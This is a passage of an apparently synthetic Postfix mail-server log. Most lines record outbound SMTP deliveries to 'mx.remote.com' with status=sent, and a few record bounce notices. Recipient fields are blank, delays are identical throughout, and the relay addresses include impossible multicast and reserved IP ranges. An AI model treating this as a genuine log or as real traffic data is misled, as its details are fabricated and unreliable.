delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:49 mail-server postfix/smtp[28812]: E2C80F177C: to=, relay=mx.remote.com[218.229.31.102]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:50 mail-server postfix/smtp[32392]: B239F6E710: to=, relay=mx.remote.com[243.60.197.56]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:51 mail-server postfix/smtp[29059]: C4AAE7A413: to=, relay=mx.remote.com[241.130.158.116]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:51 mail-server postfix/smtp[41057]: 9EBD0DBADC: to=, relay=mx.remote.com[173.146.221.60]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:52 mail-server postfix/smtp[38242]: 7A100A5550: to=, relay=mx.remote.com[38.86.21.87]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:53 mail-server postfix/smtp[28863]: B68772C27D: to=, relay=mx.remote.com[230.72.54.172]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:54 mail-server postfix/smtp[34919]: F90F5F8295: to=, relay=mx.remote.com[35.87.189.222]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:57 mail-server postfix/smtp[17763]: 838895EB80: to=, relay=mx.remote.com[191.155.178.93]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:57 mail-server postfix/smtp[12279]: A30C941A1E: to=, relay=mx.remote.com[214.201.133.48]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:59 mail-server postfix/smtp[12246]: 671E12F3C0: to=, relay=mx.remote.com[25.188.217.75]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:00 mail-server postfix/smtp[34290]: 16149BAFE4: to=, relay=mx.remote.com[112.237.161.71]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:02 mail-server postfix/smtp[13279]: EFA0E1A3DE: to=, relay=mx.remote.com[101.213.53.223]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:02 mail-server postfix/smtp[15317]: 7B72FEBC42: to=, relay=mx.remote.com[18.144.184.50]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:02 mail-server postfix/smtp[42864]: 5F813F8773: to=, relay=mx.remote.com[97.208.212.141]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:02 mail-server postfix/smtp[26708]: 8B490014CB: to=, relay=mx.remote.com[191.166.22.118]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:03 mail-server postfix/smtp[32124]: 4D28F4A120: to=, relay=mx.remote.com[7.216.139.193]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mail-server postfix/smtp[36910]: 449E07D4DA: to=, relay=mx.remote.com[163.222.196.175]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mail-server postfix/smtp[14821]: 9CD5DD25F5: to=, relay=mx.remote.com[68.104.95.219]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mail-server postfix/smtp[32971]: BEE0E5C485: to=, relay=mx.remote.com[163.191.212.63]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:06 mail-server postfix/smtp[14222]: AF41C733C6: to=, relay=mx.remote.com[40.207.13.223]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:06 mail-server postfix/smtp[40001]: 78772520AC: to=, relay=mx.remote.com[146.219.98.82]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:06 mail-server postfix/smtp[44388]: 861106948F: to=, relay=mx.remote.com[20.197.97.250]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:09 mail-server postfix/smtp[42194]: 4CC3857FDC: to=, relay=mx.remote.com[217.13.46.221]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mail-server postfix/smtp[49664]: 9AC4CF855F: to=, relay=mx.remote.com[171.71.205.27]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mail-server postfix/smtp[47138]: 60468832C7: to=, relay=mx.remote.com[63.8.3.244]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mail-server postfix/smtp[27038]: 5781FF017A: to=, relay=mx.remote.com[25.230.223.191]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mail-server postfix/smtp[44385]: B42C8BD3AB: to=, relay=mx.remote.com[81.156.73.152]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:13 mail-server postfix/smtp[30033]: F53CB733BE: to=, relay=mx.remote.com[151.34.37.169]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:13 mail-server postfix/smtp[35688]: 3498E67BDB: to=, relay=mx.remote.com[94.129.68.204]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:14 mail-server postfix/smtp[34600]: 1AE24A5214: to=, relay=mx.remote.com[192.241.62.29]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mail-server postfix/smtp[32063]: C9007CF913: to=, relay=mx.remote.com[74.54.220.40]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:16 mail-server postfix/smtp[33137]: BC57CB989C: to=, relay=mx.remote.com[5.166.65.179]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:17 mail-server postfix/smtp[33993]: 8204134FF1: to=, relay=mx.remote.com[139.115.38.154]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:18 mail-server postfix/smtp[25463]: D24814EE83: to=, relay=mx.remote.com[63.137.89.76]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:18 mail-server postfix/smtp[13661]: FD7C63E58A: to=, relay=mx.remote.com[67.114.135.126]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:21 mail-server postfix/smtp[21012]: 9C1502C354: to=, relay=mx.remote.com[125.116.175.9]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:22 mail-server postfix/smtp[24779]: D62563D670: to=, relay=mx.remote.com[113.38.226.133]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:22 mail-server postfix/smtp[10569]: 7E37CC174B: to=, relay=mx.remote.com[133.129.202.166]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:24 mail-server postfix/smtp[13732]: 4C9770EC75: to=, relay=mx.remote.com[135.17.61.8]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:24 mail-server postfix/smtp[31783]: DF4F64E3AD: to=, relay=mx.remote.com[149.37.87.253]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:24 mail-server postfix/smtp[44359]: 1B73B4C4DF: to=, relay=mx.remote.com[204.122.111.48]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:25 mail-server postfix/smtp[14562]: C82A10E03A: to=, relay=mx.remote.com[206.72.252.12]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:25 mail-server postfix/smtp[31981]: B2523B44BC: to=, relay=mx.remote.com[40.8.254.182]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:25 mail-server postfix/smtp[35274]: 698A010AA3: to=, relay=mx.remote.com[178.162.15.22]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:26 mail-server postfix/smtp[43835]: 72456E5297: to=, relay=mx.remote.com[151.199.162.142]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:30 mail-server postfix/smtp[19029]: 782E9E3E69: to=, relay=mx.remote.com[124.107.96.87]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:30 mail-server postfix/smtp[36779]: B519BD759B: to=, relay=mx.remote.com[13.92.158.204]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:30 mail-server postfix/smtp[35648]: D0CCE3C98D: to=, relay=mx.remote.com[224.159.120.224]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:31 mail-server postfix/smtp[24355]: 2DA2A827F3: to=, relay=mx.remote.com[193.111.90.216]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:32 mail-server postfix/smtp[47863]: 30702FDB4C: to=, relay=mx.remote.com[14.63.150.26]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:32 mail-server postfix/bounce[29157]: 570674BB09: sender non-delivery notification: 1CCD143F7E +Jul 02 12:05:35 mail-server postfix/bounce[44347]: 5AA07DD411: sender non-delivery notification: D521D50037 +Jul 02 12:05:37 mail-server postfix/smtp[34949]: F671FBF825: to=, relay=mx.remote.com[91.206.21.229]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:37 mail-server postfix/smtp[46584]: C3812B70CF: to=, relay=mx.remote.com[253.188.111.87]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:38 mail-server postfix/smtp[26237]: ED377BC840: to=, relay=mx.remote.com[198.136.163.144]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:38 mail-server postfix/smtp[21477]: 790B38E2AA: to=, relay=mx.remote.com[233.4.195.237]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:41 mail-server postfix/smtp[25374]: 9223A9CF19: to=, relay=mx.remote.com[67.159.140.192]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:42 mail-server postfix/smtp[29495]: B9A59589A8: to=, relay=mx.remote.com[175.38.168.176]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:43 mail-server postfix/smtp[23566]: 797777B8C2: to=, relay=mx.remote.com[163.205.20.126]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:43 mail-server postfix/smtp[39556]: E13B9F5CC6: to=, relay=mx.remote.com[147.212.103.154]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:44 mail-server postfix/smtp[15928]: 12C8EA10BC: to=, relay=mx.remote.com[141.91.191.123]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:44 mail-server postfix/smtp[44719]: 20B287A5BD: to=, relay=mx.remote.com[54.167.110.45]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:46 mail-server postfix/smtp[21259]: 8303606D91: to=, relay=mx.remote.com[179.32.140.167]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:46 mail-server postfix/smtp[44721]: 8A6DD8E81A: to=, relay=mx.remote.com[161.172.6.237]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:46 mail-server postfix/smtp[19882]: 35D08EB977: to=, relay=mx.remote.com[92.74.186.126]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:47 mail-server postfix/smtp[13343]: 35D83C61FF: to=, relay=mx.remote.com[114.59.118.125]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:47 mail-server postfix/smtp[47555]: 8E5BF4297F: to=, relay=mx.remote.com[184.200.30.81]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:48 mail-server postfix/smtp[41331]: F0E624EA56: to=, relay=mx.remote.com[156.171.74.22]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:49 mail-server postfix/smtp[45670]: 39FEA28C0D: to=, relay=mx.remote.com[219.96.249.121]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:52 mail-server postfix/smtp[40524]: BE78DB3F73: to=, relay=mx.remote.com[7.29.247.127]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:52 mail-server postfix/smtp[33185]: A9EAE63EAC: to=, relay=mx.remote.com[240.219.115.235]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:52 mail-server postfix/smtp[29545]: 55918D5EB8: to=, relay=mx.remote.com[239.250.203.78]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:53 mail-server postfix/smtp[20777]: B1564AE852: to=, relay=mx.remote.com[7.6.48.32]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:54 mail-server postfix/smtp[13167]: 9F992DF4A4: to=, relay=mx.remote.com[176.163.86.8]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:54 mail-server postfix/smtp[21133]: 54B8130D26: to=, relay=mx.remote.com[5.174.115.3]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:57 mail-server postfix/smtp[35221]: 9B0050B5C4: to=, relay=mx.remote.com[47.174.108.156]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:57 mail-server postfix/smtp[48749]: 8A848D6BF0: to=, relay=mx.remote.com[245.108.171.27]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:57 mail-server postfix/smtp[47683]: FBD7E93528: to=, relay=mx.remote.com[22.151.29.108]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:58 mail-server postfix/smtp[31165]: 4296820043: to=, relay=mx.remote.com[249.19.40.95]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:00 mail-server postfix/smtp[43652]: 56FC9CEF7A: to=, relay=mx.remote.com[114.146.127.137]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:01 mail-server postfix/smtp[30589]: 70EA6CE365: to=, relay=mx.remote.com[48.225.237.146]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:03 mail-server postfix/smtp[35788]: 30D174BDBC: to=, relay=mx.remote.com[62.131.132.48]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:04 mail-server postfix/smtp[35649]: C3CAA72B9E: to=, relay=mx.remote.com[251.30.1.112]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:04 mail-server postfix/smtp[15858]: 05922CC2AE: to=, relay=mx.remote.com[58.238.243.95]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:05 mail-server postfix/smtp[45748]: E47DA8FF99: to=, relay=mx.remote.com[178.219.205.4]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:05 mail-server postfix/smtp[16126]: AD8AF47635: to=, relay=mx.remote.com[252.236.30.45]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:08 mail-server postfix/smtp[42291]: C2E03378C7: to=, relay=mx.remote.com[7.227.150.114]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:08 mail-server postfix/smtp[21361]: 43B04D7BAC: to=, relay=mx.remote.com[11.114.39.84]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:08 mail-server postfix/smtp[16744]: 311038DF20: to=, relay=mx.remote.com[217.132.74.249]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:10 mail-server postfix/smtp[47095]: 1B4EEFE478: to=, relay=mx.remote.com[71.208.172.38]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:10 mail-server postfix/smtp[34365]: 9428FDAA7D: to=, relay=mx.remote.com[173.191.62.18]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:10 mail-server postfix/smtp[47105]: 3F639EC232: to=, relay=mx.remote.com[174.108.248.35]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:12 mail-server postfix/smtp[12015]: 00EB9B46AC: to=, relay=mx.remote.com[98.170.126.113]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:12 mail-server postfix/smtp[47259]: A8DD7D3E32: to=, relay=mx.remote.com[239.136.84.24]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:14 mail-server postfix/smtp[46195]: 52FAB1EC53: to=, relay=mx.remote.com[210.39.216.184]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mail-server postfix/smtp[36327]: 51E2874539: to=, relay=mx.remote.com[204.88.1.37]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mail-server postfix/smtp[39181]: DC090763D3: to=, relay=mx.remote.com[247.154.26.118]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mail-server postfix/smtp[16249]: 811629E479: to=, relay=mx.remote.com[235.14.171.48]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:16 mail-server postfix/bounce[42716]: 5EC22C5718: sender non-delivery notification: BB122BE977 +Jul 02 12:06:19 mail-server postfix/smtp[29737]: E4B7C8975E: to=, relay=mx.remote.com[202.19.167.87]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:22 mail-server postfix/smtp[48631]: 0AF40DCF9E: to=, relay=mx.remote.com[45.71.90.210]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:23 mail-server postfix/smtp[16044]: 246D3AABC2: to=, relay=mx.remote.com[234.79.107.220]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:23 mail-server postfix/smtp[40112]: 14B149D908: to=, relay=mx.remote.com[144.37.197.72]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:23 mail-server postfix/smtp[28822]: 7CC7FA5F54: to=, relay=mx.remote.com[232.100.249.246]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:24 mail-server postfix/smtp[25756]: 57D8EE2017: to=, relay=mx.remote.com[34.11.66.4]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:24 mail-server postfix/smtp[27921]: CAAA02B4B2: to=, relay=mx.remote.com[43.50.198.162]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:27 mail-server postfix/smtp[11314]: DC3998525C: to=, relay=mx.remote.com[205.137.122.212]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:27 mail-server postfix/smtp[44593]: 6504A89018: to=, relay=mx.remote.com[124.23.233.158]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:29 mail-server postfix/smtp[15936]: 05C0B826FB: to=, relay=mx.remote.com[243.209.51.223]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:30 mail-server postfix/smtp[47106]: 14F0815E0C: to=, relay=mx.remote.com[31.135.188.77]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:31 mail-server postfix/smtp[28296]: 28A4C01B85: to=, relay=mx.remote.com[149.241.62.180]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:32 mail-server postfix/smtp[19328]: 9765364BDA: to=, relay=mx.remote.com[196.243.252.193]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:33 mail-server postfix/smtp[19978]: 748D051213: to=, relay=mx.remote.com[189.9.127.237]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:33 mail-server postfix/smtp[28414]: 4D38DF4689: to=, relay=mx.remote.com[24.226.146.108]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:35 mail-server postfix/smtp[19300]: 9910BDD055: to=, relay=mx.remote.com[73.248.62.156]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:36 mail-server postfix/smtp[24780]: A70825EDEE: to=, relay=mx.remote.com[212.137.137.168]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:38 mail-server postfix/smtp[27653]: 5DB026F638: to=, relay=mx.remote.com[214.78.91.4]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:38 mail-server postfix/smtp[35537]: 4EAF3D484B: to=, relay=mx.remote.com[85.199.146.97]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:38 mail-server postfix/smtp[34895]: DD203798C8: to=, relay=mx.remote.com[38.46.115.240]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:39 mail-server postfix/smtp[16383]: DFFC80F77B: to=, relay=mx.remote.com[106.221.109.38]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:39 mail-server postfix/smtp[45875]: 183567A999: to=, relay=mx.remote.com[150.156.30.131]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:40 mail-server systemd[1]: Starting daily clean up activities... +Jul 02 12:06:41 mail-server postfix/smtp[49228]: EE8B768F47: to=, relay=mx.remote.com[93.253.136.26]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:42 mail-server postfix/smtp[45028]: C333D866DA: to=, relay=mx.remote.com[199.36.49.85]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:42 mail-server postfix/smtp[39676]: 275566B44D: to=, relay=mx.remote.com[73.208.183.85]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:43 mail-server postfix/smtp[35964]: F0BDF2C98E: to=, relay=mx.remote.com[239.138.158.117]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:43 mail-server postfix/smtp[28158]: 1CF0609196: to=, relay=mx.remote.com[233.18.55.228]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:43 mail-server postfix/smtp[33710]: AFD6C4E7B1: to=, relay=mx.remote.com[167.134.125.92]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:45 mail-server postfix/smtp[18734]: A7AA5966C0: to=, relay=mx.remote.com[180.194.168.18]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:45 mail-server postfix/smtp[32805]: 28A9F770BE: to=, relay=mx.remote.com[176.92.123.157]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:47 mail-server postfix/smtp[26105]: A35822AED7: to=, relay=mx.remote.com[197.135.211.89]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:50 mail-server postfix/smtp[48552]: 386A5EDB3C: to=, relay=mx.remote.com[128.25.195.100]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:50 mail-server postfix/smtp[43768]: 9C703C7E79: to=, relay=mx.remote.com[186.186.22.137]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:50 mail-server postfix/smtp[38610]: F3974873B1: to=, relay=mx.remote.com[237.19.167.106]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:50 mail-server postfix/smtp[46661]: B9EAB885DF: to=, relay=mx.remote.com[200.204.69.113]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:55 mail-server postfix/smtp[46187]: 4A69B5D055: to=, relay=mx.remote.com[235.225.192.48]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:56 mail-server postfix/smtp[41420]: 31CC2D47FE: to=, relay=mx.remote.com[25.139.112.142]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:57 mail-server postfix/smtp[29625]: 363CC509FD: to=, 